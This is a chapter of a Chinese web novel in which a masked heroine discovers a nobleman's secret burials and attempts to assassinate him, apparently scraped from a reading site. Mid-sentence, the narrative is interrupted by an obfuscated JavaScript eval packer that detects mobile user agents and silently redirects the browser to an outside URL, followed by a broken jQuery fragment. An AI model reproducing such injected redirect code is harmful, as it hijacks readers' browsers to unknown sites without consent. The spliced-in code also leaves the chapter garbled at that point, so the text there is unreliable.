默认冷灰
24号文字
方正启体

10. 动手

作者:秋庚白本书字数:K更新时间:
    那把刀叫‘夜荧’。


    原是避免夜里出行视线不好,锻造师制刀时特意混了东瀛巨蚌提炼的荧光石粉。


    为了美观,师母还特意在刀刃处刻了树叶的图案,意为“一叶障目”。


    所以,她绝不会认错。


    她记得,邶恒那晚将匕首丢给黑衣人。现下,光影出现在林道外通往昭阳阁的路上着实令她好奇,也不知邶恒手下的黑衣人为‘夜荧’寻到了何种主人?


    未及思索,姜馥迩纵身一跃再次隐于黑暗,直朝昭阳阁的方向飞奔去。


    同其他庭院相似,昭阳阁内外早已更阑人静,烛火阑珊。


    姜馥迩伏在檐顶,半晌也未再见黑衣人身影。正欲恹恹返回时,却发现从后院隐约传来微弱灯光和铁铲摩擦砂土的刨地声。


    她悄然潜行,直到绕至一处高墙巨树旁,才恍然看清眼前景物。


    昏暗中,邶恒一袭雪白中衣,背对而立。


    他一手举着只烛火摇曳的简易烛台,一手拿着‘夜荧’,修长身影被凄冷月光映得极其诡异。


    顺着他正对的方向望去,后院一大片种着墨兰的花圃中,似是有两个黑影在奋力挥铲。胡乱扬开的松土,已将旁的一圃原本挺拔的兰叶压垮,颇显狼藉。


    邶恒反手用攥着‘夜荧’的手背轻拍两下额头,而后指着两个黑衣人低声谩骂道:“什么东西!杀了人还搬回我这!”


    两黑影无动于衷。


    邶恒气急败坏来回踱步,这一走动,刚好露出他身前不远处躺倒在地一袭衣衫不整的婀娜身影。


    两个黑衣人依旧加紧挖坑。


    邶恒疾走几步,忽地停顿,转去蹲在那道倒地身影面前,伸指探她鼻息又测她颈下。


    只片刻光影,他更显沮丧不堪,垂头丧气侧首去看那女人腰间仅一块的朴素佩玉。


    看她那身纱薄衣裙,再到□□半露,再到浓妆艳抹。姜馥迩猜测那人或许是个妓子。


    未及仔细思考,只见两名黑衣人动作一致走近邶恒,将他面前尸身抬进深坑,又匆匆盖土,埋在墨兰之下。


    动作迅捷,可谓风驰电掣。


    邶恒并未起身,索性单手撑着额头,摆出一副自暴自弃的懊恼貌。


    直到两黑衣人极其麻利地料理完一切,恭敬抱拳跪于他面前,长夜才再次恢复岑寂。


    邶恒似是气极,他将手中夜荧朝一人猛掷去,那人却如黑雾般迅疾平移开,从容躲避。


    姜馥迩心下更觉好奇。


    难道是随从不听使唤了?难得一见邶恒也有如此无措之时。


    邶恒绝望垂头,长舒口气。


    “若你们还听我话,趁早将这一院子白骨偷运出去吧…找个风水之地埋了…”


    两黑影动作如出一辙,抱拳颔首。


    满院子白骨?


    姜馥迩心底骤然一紧,虽说获悉了邶恒的秘密,终说不上是惊是喜。


    放眼看这满园墨兰花圃,花叶翩跹,清香怡人。


    难道每处下面都埋了白骨?


    此时邶恒已垂头丧气起步,神色颓废从后门踏进小阁,紧闭了门窗。


    姜馥迩的猜测,也在两个时辰后,得到证实。


    她并未急着走,而是瞧着那两个黑影神不知鬼不觉将那满院的白骨偷偷移去了别处。


    她返回灵丘阁后,彻夜未眠。无论如何也想不到,邶恒竟是披着纨绔表皮的杀人恶魔。


    她辗转反侧,心下多少失了分寸,最终还是起身,又去柔黎房里陪她坐了会。


    明日应是动手的最佳时机罢?


    虽不知他豢养多少爪牙,但这几日所见,也不会极多。若是寻风水宝地,多在山间,恐怕今晚那两个人一时半会赶不回来。


    遣走两个,他身边护防便薄弱几分。


    以自己的身手,即便他有爪牙保护,乱战中找到薄弱之处刺杀,也不是多难的事。


    姜馥迩心下更坚定几分,同时用湿棉巾沾了沾柔黎颈间薄汗。


    天气闷热,虽每日有婢女照料,柔黎领口处还是长了热疹。


    姜馥迩将她领口稍松,又用湿棉巾为她擦拭,正拨开覆耳发丝时,却无意发觉她耳根下一个极其不显眼的红点。


    若是别人兴许不会在意,但姜馥迩一眼便识出那绝对是一处毒虫叮咬所致的伤痕。


    她瞬时对柔黎中毒一事有了眉目。


    府内竟有人饲养毒虫?


    只不过,柔黎脉象所示,这毒虫毒性不大,顶多致人昏厥罢了。


    前两日,怕安阳侯起疑,她并未给柔黎服用即刻见效的解毒药草,只靠医官的苦口中药来调理。


    目下,她了然中毒因由心头才彻底一松,从袖袋中取了个晶莹小瓶,捏了粒专解毒虫毒性的温和药丸给柔黎服下。


    等邶恒的事处理完,她有的是办法查出毒虫来源。


    ——


    翌日。


    斜阳向晚,华灯初上。


    每年夏暑时节,郊外澄泱湖都被辽京的王公贵族包圆。画舫筵乐终日不歇,水波潋滟,灯影绰绰。


    微风细细,涟漪轻漫。


    湖中央的单层画舫内,层层银红艳帐低垂,轻掩摇曳烛光。


    铺了兽皮软毯的地板上,美人冰肌玉骨,雨鬓风鬟,瘫软伏在身下堆积幔帐间。


    邶恒系紧束带,从芝兰身侧缓缓走过,随手扔了几颗银珠子。


    见他要离开,芝兰立即起身,微红皮肤紧贴他衣袍。


    “大公子要去哪?”


    邶恒被迫止步,抬腿甩开累赘,语气轻蔑鄙夷:“让开?”


    芝兰怎肯放手,只将他抱地更紧,温声问:“奴哪里没做好?大公子刚不还——”


    邶恒冷笑打断:“想让我给你扔湖里去?”


    看他睥睨自己的目光逐渐冷淡无光,芝兰不想让他因自己纠缠而恼怒,立刻松开手摸了块幔帐遮羞。


    邶恒临出画舫,忽地想起昨晚那个叫凝秀的妓子死于非命,怕芝兰跟着她看到不该看的,还是交代道:“蜡烛烧完再走!”


    说完,他头也没回,上了前来接驳的篷顶小船。


    独坐船中,邶恒拈了拈手中半掌大的铜牌,眸色渐深。


    昨日从岚烟楼回府路上,他便猜测暗商可能因进不了辽京才无法在岚烟楼交易,当即想到此前约定好的郊外交易地,便是此处。


    这里多是京中达官贵族,谁还不认得谁?


    为了掩人耳目,他也没什么好法子,只能从府里带个美婢前来,外人看来无非是他来寻欢作乐,府内的美婢呢,多少也不会在外面胡乱说嘴。


    将交易口令塞进宽袖,他仰头看了眼朦胧月色,眼底漾开一抹深沉的惆怅。


    想到昨夜死去的人,想到满园白骨,想到那群黑衣人…


    他们虽护他安然无恙,可说到底不知底细,更不知会将他的事汇报到哪里,如此遮掩又不痛不痒的日子不知何时才能休止…


    邶恒心下无力叹了口气。


    直至小船靠岸,他给船夫赏了银子,慢悠悠下船。


    目下正是澄泱湖上最热闹时分,筵乐四起,来路早已无人踏至。就连岸边的接驳船夫都极少,多数在湖中徘徊,等着接深夜的大买卖。


    邶恒在岸边取了盏花格灯笼,独自抄近路走进通往官道的密林小径。


    饶是周围昏黑无声,杳无人迹,鲜少有人愿意走这条路。但邶恒依旧一副轻松姿态,随手折了根松枝,捏在指尖把玩。


    直到走至一处开阔草地,邶恒手中灯笼忽


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16082253|179407||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一阵猛烈晃动,烛芯突兀摇摆,险险被黑夜吞没。


    他垂睫轻瞥,依旧面无波澜稳重迈步,懒散道:“都埋好了?”


    不出预期,无人回应。


    邶恒甚至没报希望,权当自言自语,他脚步未停,悠然走过草场中心。


    “大公子也怕人发现小秘密?”


    此地开阔,少女清脆声如涟漪般散开,泛起回音阵阵。


    邶恒倏地神色一紧,转身望向刚走来的漆黑僻径。


    只见一身形小巧的黑衣人正逐渐脱离冥冥夜色,迎着他悄然走来。而那双饱含杀气的幽紫瞳,黑暗中依旧如两盏明灯,熠熠生辉。


    这番装束,竟与两人初见时一般。


    邶恒心下猛沉,嫌灯笼碍事,索性丢到一旁,带着沉重的打量,质疑道:“你来,杀我?”


    听起来豪无半分畏惧,反而让姜馥迩有种被调侃痴人说梦的错觉。


    姜馥迩立定于邶恒五步外,手上已多了一对泛着奇异冷光的鸳鸯软钺。


    “如你一样,我也不想被人攥着把柄。”


    邶恒视线从她手中寒冷兵器移开,又落到她遮了面罩的脸上。


    姜馥迩坦然对视。


    本想欣赏他接下来的慌不择路,未料竟从那双桀骜不驯的眼里,看到某种她并不理解的复杂情绪。


    半晌,邶恒忽然开口,语气颇有惋惜之意。


    “你不该来。”


    姜馥迩眉心一跳,竟因他突变的情绪微感讶异。但很快,她便恢复冷漠镇定,语气透着不可磨灭的坚定不移。


    “我既来了,今日必定会有收获。”


    这番信誓旦旦的言辞令邶恒下意识勾起唇角。


    随即,他目光也跟着柔和,认命似的垂头颔首,洒脱欢笑:“好,那便有劳。”


    ???


    姜馥迩愣了一拍,以为自己听错。


    可转念想到邶恒那满庭白骨,当即断定他在耍诈,目的只为降低自己戒备。


    眼看倒地灯笼逐渐被妖娆火舌舔舐、吞并,忽明忽暗的明艳火光将邶恒风光霁月的面容映得诡异妖娆。


    姜馥迩无心再分析邶恒心境。


    她身体灵巧一跃,如平野上一道疾驰飓风,夹带两抹阴冷寒光和草泥腥臭朝邶恒横扫过去。


    担心邶恒耍花样,她已做好完全戒备,可眼看刀刃逼近,邶恒竟毫无躲避之意。


    他依旧负手而立,神情淡然,洒脱。


    那双饱含复杂情绪的黑眸,随着自己靠近,仿佛云开雾明,逐渐露出宽慰、释然、解脱。


    姜馥迩杀人不多,可从未见过哪个人临死前会是这番神情。仿佛活着才是遭受极大折磨,死亡面前终于得到救赎一般。


    就在刀刃贴到他颈间皮肤时,眼看皮肉划开,未及听到裂骨之音,姜馥迩手中武器已被不知何处掷来的数把弯刀被迫改变了方向。


    就在即将被削成十几段肉泥前,她横空翻滚,在距离邶恒十步处停稳,跪伏在地。


    握着鸳鸯软钺的两只手忽感麻痹,竟是刚刚躲避时,被横空扫来的如箭枝叶打中筋脉。


    姜馥迩迅捷抬眼,不知何时,她和邶恒间短短距离已站了七八个人影。此时围成双层,将邶恒完全护在其中。


    姜馥迩惊诧,忙向后再退数步,可随着自己撤离,两人间的黑衣人又莫名多了几个。


    她也看不清这些人从何而来,就像黑夜变化出的幻影,瞬间显现,无所不在。


    邶恒抬手抹了抹颈间血痕,看向姜馥迩的眼中并无恼怒,反而填满绝望和无尽失意。


    来不及细想其中缘由,两人之间的黑衣人已提着弯刀齐刷刷向姜馥迩奔涌而来。


    霎时间,虫鸟四散,兵戈相向,利刃破空声响彻林间。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)